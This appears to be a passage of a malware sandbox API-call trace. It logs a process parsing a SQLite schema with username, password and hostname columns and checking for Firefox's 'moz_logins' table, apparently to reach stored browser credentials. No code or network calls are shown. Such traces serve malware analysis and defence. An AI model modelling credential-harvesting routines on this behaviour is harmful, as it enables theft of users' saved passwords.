lstrcmpiA (lpString1="CONSTRAINT", lpString2="passwordField") returned -1 [0047.958] lstrcmpiA (lpString1="PRIMARY", lpString2="passwordField") returned 1 [0047.958] lstrcmpiA (lpString1="UNIQUE", lpString2="passwordField") returned 1 [0047.958] lstrcmpiA (lpString1="CHECK", lpString2="passwordField") returned -1 [0047.958] lstrcmpiA (lpString1="FOREIGN", lpString2="passwordField") returned -1 [0047.958] lstrlenA (lpString="passwordField") returned 13 [0047.958] lstrcmpiA (lpString1="passwordField", lpString2="hostname") returned 1 [0047.958] lstrcmpiA (lpString1="passwordField", lpString2="encryptedPassword") returned 1 [0047.958] lstrcmpiA (lpString1="passwordField", lpString2="encryptedUsername") returned 1 [0047.958] lstrlenA (lpString="encryptedUsername TEXT NOT NULL") returned 31 [0047.958] StrStrIA (lpFirst="encryptedUsername TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0047.958] lstrlenA (lpString="encryptedUsername") returned 17 [0047.958] lstrcmpiA (lpString1="CONSTRAINT", lpString2="encryptedUsername") returned -1 [0047.958] lstrcmpiA (lpString1="PRIMARY", lpString2="encryptedUsername") returned 1 [0047.958] lstrcmpiA (lpString1="UNIQUE", lpString2="encryptedUsername") returned 1 [0047.958] lstrcmpiA (lpString1="CHECK", lpString2="encryptedUsername") returned -1 [0047.958] lstrcmpiA (lpString1="FOREIGN", lpString2="encryptedUsername") returned 1 [0047.958] lstrlenA (lpString="encryptedUsername") returned 17 [0047.958] lstrcmpiA (lpString1="encryptedUsername", lpString2="hostname") returned -1 [0047.958] lstrcmpiA (lpString1="encryptedUsername", lpString2="encryptedPassword") returned 1 [0047.958] lstrcmpiA (lpString1="encryptedUsername", lpString2="encryptedUsername") returned 0 [0047.958] lstrlenA (lpString="encryptedPassword TEXT NOT NULL") returned 31 [0047.958] StrStrIA (lpFirst="encryptedPassword TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0047.958] lstrlenA (lpString="encryptedPassword") returned 17 [0047.958] lstrcmpiA (lpString1="CONSTRAINT", lpString2="encryptedPassword") returned -1 [0047.958] lstrcmpiA (lpString1="PRIMARY", lpString2="encryptedPassword") returned 1 [0047.958] lstrcmpiA (lpString1="UNIQUE", lpString2="encryptedPassword") returned 1 [0047.958] lstrcmpiA (lpString1="CHECK", lpString2="encryptedPassword") returned -1 [0047.958] lstrcmpiA (lpString1="FOREIGN", lpString2="encryptedPassword") returned 1 [0047.958] lstrlenA (lpString="encryptedPassword") returned 17 [0047.958] lstrcmpiA (lpString1="encryptedPassword", lpString2="hostname") returned -1 [0047.958] lstrcmpiA (lpString1="encryptedPassword", lpString2="encryptedPassword") returned 0 [0047.958] lstrcmpiA (lpString1="encryptedPassword", lpString2="encryptedUsername") returned -1 [0047.958] lstrlenA (lpString="guid TEXT") returned 9 [0047.958] StrStrIA (lpFirst="guid TEXT", lpSrch=" ") returned=" TEXT" [0047.958] lstrlenA (lpString="guid") returned 4 [0047.958] lstrcmpiA (lpString1="CONSTRAINT", lpString2="guid") returned -1 [0047.958] lstrcmpiA (lpString1="PRIMARY", lpString2="guid") returned 1 [0047.958] lstrcmpiA (lpString1="UNIQUE", lpString2="guid") returned 1 [0047.959] lstrcmpiA (lpString1="CHECK", lpString2="guid") returned -1 [0047.959] lstrcmpiA (lpString1="FOREIGN", lpString2="guid") returned -1 [0047.959] lstrlenA (lpString="guid") returned 4 [0047.959] lstrcmpiA (lpString1="guid", lpString2="hostname") returned -1 [0047.959] lstrcmpiA (lpString1="guid", lpString2="encryptedPassword") returned 1 [0047.959] lstrcmpiA (lpString1="guid", lpString2="encryptedUsername") returned 1 [0047.959] lstrlenA (lpString="encType INTEGER") returned 15 [0047.959] StrStrIA (lpFirst="encType INTEGER", lpSrch=" ") returned=" INTEGER" [0047.959] lstrlenA (lpString="encType") returned 7 [0047.959] lstrcmpiA (lpString1="CONSTRAINT", lpString2="encType") returned -1 [0047.959] lstrcmpiA (lpString1="PRIMARY", lpString2="encType") returned 1 [0047.959] lstrcmpiA (lpString1="UNIQUE", lpString2="encType") returned 1 [0047.959] lstrcmpiA (lpString1="CHECK", lpString2="encType") returned -1 [0047.959] lstrcmpiA (lpString1="FOREIGN", lpString2="encType") returned 1 [0047.959] lstrlenA (lpString="encType") returned 7 [0047.959] lstrcmpiA (lpString1="encType", lpString2="hostname") returned -1 [0047.959] lstrcmpiA (lpString1="encType", lpString2="encryptedPassword") returned 1 [0047.959] lstrcmpiA (lpString1="encType", lpString2="encryptedUsername") returned 1 [0047.959] lstrlenA (lpString="timeCreated INTEGER") returned 19 [0047.959] StrStrIA (lpFirst="timeCreated INTEGER", lpSrch=" ") returned=" INTEGER" [0047.959] lstrlenA (lpString="timeCreated") returned 11 [0047.959] lstrcmpiA (lpString1="CONSTRAINT", lpString2="timeCreated") returned -1 [0047.959] lstrcmpiA (lpString1="PRIMARY", lpString2="timeCreated") returned -1 [0047.959] lstrcmpiA (lpString1="UNIQUE", lpString2="timeCreated") returned 1 [0047.959] lstrcmpiA (lpString1="CHECK", lpString2="timeCreated") returned -1 [0047.959] lstrcmpiA (lpString1="FOREIGN", lpString2="timeCreated") returned -1 [0047.959] lstrlenA (lpString="timeCreated") returned 11 [0047.959] lstrcmpiA (lpString1="timeCreated", lpString2="hostname") returned 1 [0047.959] lstrcmpiA (lpString1="timeCreated", lpString2="encryptedPassword") returned 1 [0047.959] lstrcmpiA (lpString1="timeCreated", lpString2="encryptedUsername") returned 1 [0047.959] lstrlenA (lpString="timeLastUsed INTEGER") returned 20 [0047.959] StrStrIA (lpFirst="timeLastUsed INTEGER", lpSrch=" ") returned=" INTEGER" [0047.959] lstrlenA (lpString="timeLastUsed") returned 12 [0047.959] lstrcmpiA (lpString1="CONSTRAINT", lpString2="timeLastUsed") returned -1 [0047.959] lstrcmpiA (lpString1="PRIMARY", lpString2="timeLastUsed") returned -1 [0047.959] lstrcmpiA (lpString1="UNIQUE", lpString2="timeLastUsed") returned 1 [0047.959] lstrcmpiA (lpString1="CHECK", lpString2="timeLastUsed") returned -1 [0047.959] lstrcmpiA (lpString1="FOREIGN", lpString2="timeLastUsed") returned -1 [0047.959] lstrlenA (lpString="timeLastUsed") returned 12 [0047.959] lstrcmpiA (lpString1="timeLastUsed", lpString2="hostname") returned 1 [0047.959] lstrcmpiA (lpString1="timeLastUsed", lpString2="encryptedPassword") returned 1 [0047.959] lstrcmpiA (lpString1="timeLastUsed", lpString2="encryptedUsername") returned 1 [0047.959] lstrlenA (lpString="timePasswordChanged INTEGER") returned 27 [0047.959] StrStrIA (lpFirst="timePasswordChanged INTEGER", lpSrch=" ") returned=" INTEGER" [0047.959] lstrlenA (lpString="timePasswordChanged") returned 19 [0047.959] lstrcmpiA (lpString1="CONSTRAINT", lpString2="timePasswordChanged") returned -1 [0047.959] lstrcmpiA (lpString1="PRIMARY", lpString2="timePasswordChanged") returned -1 [0047.959] lstrcmpiA (lpString1="UNIQUE", lpString2="timePasswordChanged") returned 1 [0047.959] lstrcmpiA (lpString1="CHECK", lpString2="timePasswordChanged") returned -1 [0047.959] lstrcmpiA (lpString1="FOREIGN", lpString2="timePasswordChanged") returned -1 [0047.959] lstrlenA (lpString="timePasswordChanged") returned 19 [0047.959] lstrcmpiA (lpString1="timePasswordChanged", lpString2="hostname") returned 1 [0047.959] lstrcmpiA (lpString1="timePasswordChanged", lpString2="encryptedPassword") returned 1 [0047.959] lstrcmpiA (lpString1="timePasswordChanged", lpString2="encryptedUsername") returned 1 [0047.959] lstrlenA (lpString="timesUsed INTEGER)") returned 18 [0047.960] StrStrIA (lpFirst="timesUsed INTEGER)", lpSrch=" ") returned=" INTEGER)" [0047.960] lstrlenA (lpString="timesUsed") returned 9 [0047.960] lstrcmpiA (lpString1="CONSTRAINT", lpString2="timesUsed") returned -1 [0047.960] lstrcmpiA (lpString1="PRIMARY", lpString2="timesUsed") returned -1 [0047.960] lstrcmpiA (lpString1="UNIQUE", lpString2="timesUsed") returned 1 [0047.960] lstrcmpiA (lpString1="CHECK", lpString2="timesUsed") returned -1 [0047.960] lstrcmpiA (lpString1="FOREIGN", lpString2="timesUsed") returned -1 [0047.960] lstrlenA (lpString="timesUsed") returned 9 [0047.960] lstrcmpiA (lpString1="timesUsed", lpString2="hostname") returned 1 [0047.960] lstrcmpiA (lpString1="timesUsed", lpString2="encryptedPassword") returned 1 [0047.960] lstrcmpiA (lpString1="timesUsed", lpString2="encryptedUsername") returned 1 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x8000, cb=0x0, dwLockType=0x0) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x8000, cb=0x0, dwLockType=0x0) returned 0x0 [0047.960] IStream:SetSize (This=0x76df40, libNewSize=0xef893) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x8001, cb=0x0, dwLockType=0x0) returned 0x0 [0047.960] IStream:SetSize (This=0x76df40, libNewSize=0xef892) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x8003, cb=0x0, dwLockType=0x0) returned 0x0 [0047.960] IStream:SetSize (This=0x76df40, libNewSize=0xef892) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x8005, cb=0x0, dwLockType=0x0) returned 0x0 [0047.960] IStream:SetSize (This=0x76df40, libNewSize=0xef892) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.960] IStream:LockRegion (This=0x76df40, libOffset=0x8007, cb=0x0, dwLockType=0x0) returned 0x0 [0047.960] IStream:SetSize (This=0x76df40, libNewSize=0xef893) returned 0x0 [0047.960] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x9400048 [0047.961] LocalFree (hMem=0x9400048) returned 0x0 [0047.961] LocalFree (hMem=0x73cc70) returned 0x0 [0047.961] LocalFree (hMem=0x74fda0) returned 0x0 [0047.961] LocalFree (hMem=0x74fe40) returned 0x0 [0047.961] LocalFree (hMem=0x74d860) returned 0x0 [0047.961] LocalFree (hMem=0x7d0b10) returned 0x0 [0047.961] LocalFree (hMem=0x721848) returned 0x0 [0047.961] IStream:LockRegion (This=0x76df40, libOffset=0x7d27, cb=0x0, dwLockType=0x0) returned 0x0 [0047.961] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x7d27, cb=0x0, dwLockType=0x0) returned 0x0 [0047.962] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x7d28, cb=0x0, dwLockType=0x0) returned 0x0 [0047.962] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x7d29, cb=0x0, dwLockType=0x0) returned 0x0 [0047.962] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.962] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.962] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.962] IStream:LockRegion (This=0x76df40, libOffset=0x7d2a, cb=0x0, dwLockType=0x0) returned 0x0 [0047.962] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.963] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.963] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x73cc70 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x74d860 [0047.963] LocalFree (hMem=0x7175a0) returned 0x0 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x74fba8 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fba8) returned 0x0 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0047.963] LocalFree (hMem=0x74fba8) returned 0x0 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x74fba8 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fba8) returned 0x0 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x7588c8 [0047.963] LocalFree (hMem=0x74fba8) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0047.963] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74fba8 [0047.963] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x74fc40 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.963] IStream:LockRegion (This=0x76dfb8, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fc40) returned 0x0 [0047.964] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74fd48 [0047.964] LocalFree (hMem=0x74fc40) returned 0x0 [0047.964] LocalFree (hMem=0x716ef8) returned 0x0 [0047.964] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.964] lstrcmpiA (lpString1="moz_disabledHosts", lpString2="moz_logins") returned -1 [0047.964] LocalFree (hMem=0x74d860) returned 0x0 [0047.964] LocalFree (hMem=0x758820) returned 0x0 [0047.964] LocalFree (hMem=0x7588c8) returned 0x0 [0047.964] LocalFree (hMem=0x74fba8) returned 0x0 [0047.964] LocalFree (hMem=0x74fd48) returned 0x0 [0047.964] LocalFree (hMem=0x73cc70) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x7dd3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x7dd3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x7dd4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.964] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.964] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.964] IStream:LockRegion (This=0x76df40, libOffset=0x7dd5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.964] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.964] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.964] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x716ef8 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.964] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.964] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0047.965] LocalFree (hMem=0x7175a0) returned 0x0 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x7548d0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76dfb8, libNewSize=0x7548d0) returned 0x0 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x750820 [0047.965] LocalFree (hMem=0x7548d0) returned 0x0 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x74d860 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76dfb8, libNewSize=0x74d860) returned 0x0 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x7588c8 [0047.965] LocalFree (hMem=0x74d860) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76dfb8, libOffset=0x40, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74d860 [0047.965] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x7175a0 [0047.965] LocalFree (hMem=0x716ef8) returned 0x0 [0047.965] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.965] lstrcmpiA (lpString1="moz_disabledHosts", lpString2="moz_logins") returned -1 [0047.965] LocalFree (hMem=0x73cc70) returned 0x0 [0047.965] LocalFree (hMem=0x750820) returned 0x0 [0047.965] LocalFree (hMem=0x7588c8) returned 0x0 [0047.965] LocalFree (hMem=0x74d860) returned 0x0 [0047.965] LocalFree (hMem=0x7175a0) returned 0x0 [0047.965] LocalFree (hMem=0x721848) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x7c75, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x7c75, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x7c76, cb=0x0, dwLockType=0x0) returned 0x0 [0047.965] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.965] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) 